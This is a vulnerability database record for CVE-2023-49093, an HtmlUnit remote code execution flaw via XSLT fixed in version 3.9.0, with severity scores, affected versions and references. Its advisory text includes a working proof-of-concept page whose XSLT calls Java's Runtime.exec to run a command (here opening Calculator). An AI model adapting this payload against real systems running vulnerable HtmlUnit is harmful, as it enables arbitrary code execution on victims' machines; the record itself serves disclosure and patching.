{"id":"CVE-2023-49093","aliases":["CVE-2023-49093","GHSA-37vq-hr2f-g7h7"],"related":[],"kind":"vulnerability","state":"published","title":"HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL","summary":"HtmlUnit is a GUI-less browser for Java programs. HtmlUnit is vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage. This vulnerability has been patched in version 3.9.0","summarySource":"cvelist","descriptions":[{"lang":"en","text":"HtmlUnit is a GUI-less browser for Java programs. HtmlUnit is vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage. This vulnerability has been patched in version 3.9.0","source":"cvelist"},{"lang":"en","text":"### Summary\nHtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage\n\n### Details\nVulnerability code location:\norg.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)\n\nThe reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor\n\n### PoC\npom.xml:\n```\n<dependency>\n  <groupId>org.htmlunit</groupId>\n  <artifactId>htmlunit</artifactId>\n  <version>3.8.0</version>\n</dependency>\n```\n\ncode:\n```\nWebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);\nHtmlPage page = webClient.getPage(\"http://127.0.0.1:8080/test.html\");\nSystem.out.println(page.asNormalizedText());\n```\n\ntest.html:\n```\n<script>\n    var xslt = new ActiveXObject(\"Msxml2.XSLTemplate.6.0\");\n    var xslDoc = new ActiveXObject(\"Msxml2.FreeThreadedDOMDocument.6.0\");\n    var xslProc;\n    xslDoc.async = false;\n    xslDoc.loadXML(`<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:rt=\"http://xml.apache.org/xalan/java/java.lang.Runtime\" xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\">\n   <xsl:template match=\"/\">\n     <xsl:variable name=\"rtobject\" select=\"rt:getRuntime()\"/>\n     <xsl:variable name=\"process\" select=\"rt:exec($rtobject,'open -a Calculator')\"/>\n     <xsl:variable name=\"processString\" select=\"ob:toString($process)\"/>\n     <span><xsl:value-of select=\"$processString\"/></span>\n   </xsl:template>\n </xsl:stylesheet>`)\n\n    if (xslDoc.parseError.errorCode != 0) {\n        var myErr = xslDoc.parseError;\n        document.write(\"ParseError: \"+myErr.reason);\n    } else {\n        xslt.stylesheet = xslDoc;\n        var xmlDoc = new ActiveXObject(\"Msxml2.DOMDocument.6.0\");\n        xmlDoc.async = false;\n        xmlDoc.loadXML(\"<s></s>\");\n        if (xmlDoc.parseError.errorCode != 0) {\n            var myErr = xmlDoc.parseError;\n            document.write(\"Document error: \" + myErr.reason);\n        } else {\n            xslProc = xslt.createProcessor();\n            xslProc.input = xmlDoc;\n            xslProc.transform();\n            document.write(xslProc.output);\n        }\n    }\n</script>\n```\n\n\n### Impact\nRemote Code Execution","format":"markdown","source":"ghsa"},{"lang":"es","text":"HtmlUnit es un navegador sin GUI para programas Java. HtmlUnit es vulnerable a la ejecución remota de código (RCE) a través de XSTL, al navegar por la página web del atacante. Esta vulnerabilidad ha sido parcheada en la versión 3.9.0.","source":"nvd"}],"published":"2023-12-04T04:47:27.145Z","modified":"2026-09-10T03:49:59.262Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-94"],"affected":[{"ranges":[{"version":"< 3.9.0","status":"affected"}],"vendor":"HtmlUnit","product":"htmlunit","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.9.0"}],"ecosystem":"Maven","package":"org.htmlunit:htmlunit","purl":"pkg:maven/org.htmlunit/htmlunit","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"3.9.0"}],"vendor":"htmlunit","product":"htmlunit","cpe":"cpe:2.3:a:htmlunit:htmlunit:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/HtmlUnit/htmlunit/security/advisories/GHSA-37vq-hr2f-g7h7","tags":["exploit","vendor-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.htmlunit.org/changes-report.html#a3.9.0","tags":["release-notes","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49093","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/HtmlUnit/htmlunit","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2024-10-10T20:13:51.286Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2023-49093","url":"https://www.cve.org/CVERecord?id=CVE-2023-49093","licence":"CVE Terms of Use","modified":"2024-10-10T20:14:07.250Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-37vq-hr2f-g7h7","url":"https://github.com/advisories/GHSA-37vq-hr2f-g7h7","licence":"CC-BY-4.0","modified":"2026-09-10T03:49:59.262Z"},{"source":"nvd","name":"NVD","id":"CVE-2023-49093","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49093","licence":"Public domain","modified":"2026-06-17T06:35:21.113Z"}],"updatedAt":"2026-11-25T22:58:30.911Z","epss":{"score":0.02358,"percentile":0.84217,"date":"2026-12-01T12:00:22.000Z"}}